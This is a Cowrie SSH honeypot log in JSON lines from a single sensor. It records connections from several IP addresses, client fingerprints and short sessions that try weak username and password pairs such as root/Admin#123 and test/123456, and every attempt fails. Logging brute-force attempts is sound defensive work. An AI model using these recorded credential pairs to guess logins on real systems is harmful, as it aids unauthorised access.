{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":21344,"dst_ip":"10.17.0.5","dst_port":22,"session":"bddfde54b700","protocol":"ssh","message":"New connection: 141.11.88.14:21344 (10.17.0.5:22) [session: bddfde54b700]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:23:46.334155Z"}
{"eventid":"cowrie.session.connect","src_ip":"36.92.41.115","src_port":34704,"dst_ip":"10.17.0.5","dst_port":22,"session":"0ff72fa61341","protocol":"ssh","message":"New connection: 36.92.41.115:34704 (10.17.0.5:22) [session: 0ff72fa61341]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:23:46.483599Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:23:46.489428Z","src_ip":"36.92.41.115","session":"0ff72fa61341","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:23:46.739341Z","src_ip":"36.92.41.115","session":"0ff72fa61341","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:23:47.044756Z","src_ip":"141.11.88.14","session":"bddfde54b700","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:23:47.048627Z","src_ip":"141.11.88.14","session":"bddfde54b700","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"testtest","message":"login attempt [test/testtest] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:23:47.779176Z","src_ip":"36.92.41.115","session":"0ff72fa61341","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"alex","password":"alex123","message":"login attempt [alex/alex123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:23:48.359585Z","src_ip":"141.11.88.14","session":"bddfde54b700","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:23:49.031672Z","src_ip":"36.92.41.115","session":"0ff72fa61341","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.2","message":"Connection lost after 3.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:23:49.540408Z","src_ip":"141.11.88.14","session":"bddfde54b700","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"181.188.176.242","src_port":56764,"dst_ip":"10.17.0.5","dst_port":22,"session":"2c2931580eb8","protocol":"ssh","message":"New connection: 181.188.176.242:56764 (10.17.0.5:22) [session: 2c2931580eb8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:23:49.867865Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:23:49.872355Z","src_ip":"181.188.176.242","session":"2c2931580eb8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:23:50.035737Z","src_ip":"181.188.176.242","session":"2c2931580eb8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"fwm","password":"fwm","message":"login attempt [fwm/fwm] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:23:50.729910Z","src_ip":"181.188.176.242","session":"2c2931580eb8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:23:51.895295Z","src_ip":"181.188.176.242","session":"2c2931580eb8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":10080,"dst_ip":"10.17.0.5","dst_port":22,"session":"e8085ff62fc3","protocol":"ssh","message":"New connection: 141.11.88.14:10080 (10.17.0.5:22) [session: e8085ff62fc3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:23:53.325652Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:23:53.532336Z","src_ip":"141.11.88.14","session":"e8085ff62fc3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:23:53.539868Z","src_ip":"141.11.88.14","session":"e8085ff62fc3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"1","message":"login attempt [test/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:23:55.538750Z","src_ip":"141.11.88.14","session":"e8085ff62fc3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.5","message":"Connection lost after 3.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:23:56.841429Z","src_ip":"141.11.88.14","session":"e8085ff62fc3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":62568,"dst_ip":"10.17.0.5","dst_port":22,"session":"53c7adaf48d3","protocol":"ssh","message":"New connection: 141.11.88.14:62568 (10.17.0.5:22) [session: 53c7adaf48d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:23:59.475526Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:23:59.954896Z","src_ip":"141.11.88.14","session":"53c7adaf48d3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:23:59.958619Z","src_ip":"141.11.88.14","session":"53c7adaf48d3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"test","message":"login attempt [test/test] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:24:01.459880Z","src_ip":"141.11.88.14","session":"53c7adaf48d3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.6","message":"Connection lost after 3.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:24:03.050037Z","src_ip":"141.11.88.14","session":"53c7adaf48d3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.71.230.31","src_port":50564,"dst_ip":"10.17.0.5","dst_port":22,"session":"c024486beb34","protocol":"ssh","message":"New connection: 27.71.230.31:50564 (10.17.0.5:22) [session: c024486beb34]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:24:04.346694Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:24:04.351252Z","src_ip":"27.71.230.31","session":"c024486beb34","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:24:04.601221Z","src_ip":"27.71.230.31","session":"c024486beb34","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":80.0928544998169,"message":"Connection lost after 80 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:24:05.893510Z","src_ip":"128.199.8.54","session":"9de99348e075","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin#123","message":"login attempt [root/Admin#123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:24:06.856529Z","src_ip":"27.71.230.31","session":"c024486beb34","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":62640,"dst_ip":"10.17.0.5","dst_port":22,"session":"988f9f3d8c62","protocol":"ssh","message":"New connection: 141.11.88.14:62640 (10.17.0.5:22) [session: 988f9f3d8c62]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:24:07.420974Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:24:07.770827Z","src_ip":"141.11.88.14","session":"988f9f3d8c62","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:24:07.774865Z","src_ip":"141.11.88.14","session":"988f9f3d8c62","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.0","message":"Connection lost after 4.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:24:08.397309Z","src_ip":"27.71.230.31","session":"c024486beb34","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"9090","message":"login attempt [root/9090] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:24:08.736654Z","src_ip":"141.11.88.14","session":"988f9f3d8c62","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:24:09.909551Z","src_ip":"141.11.88.14","session":"988f9f3d8c62","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":46796,"dst_ip":"10.17.0.5","dst_port":22,"session":"58f06d08a219","protocol":"ssh","message":"New connection: 141.11.88.14:46796 (10.17.0.5:22) [session: 58f06d08a219]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:24:14.727339Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:24:14.998055Z","src_ip":"141.11.88.14","session":"58f06d08a219","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:24:15.002780Z","src_ip":"141.11.88.14","session":"58f06d08a219","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"123456","message":"login attempt [test/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:24:15.999507Z","src_ip":"141.11.88.14","session":"58f06d08a219","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:24:17.149229Z","src_ip":"141.11.88.14","session":"58f06d08a219","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":56274,"dst_ip":"10.17.0.5","dst_port":22,"session":"6d0c3241cf4f","protocol":"ssh","message":"New connection: 141.11.88.14:56274 (10.17.0.5:22) [session: 6d0c3241cf4f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:24:21.865503Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:24:21.985793Z","src_ip":"141.11.88.14","session":"6d0c3241cf4f","protocol":"ssh"}
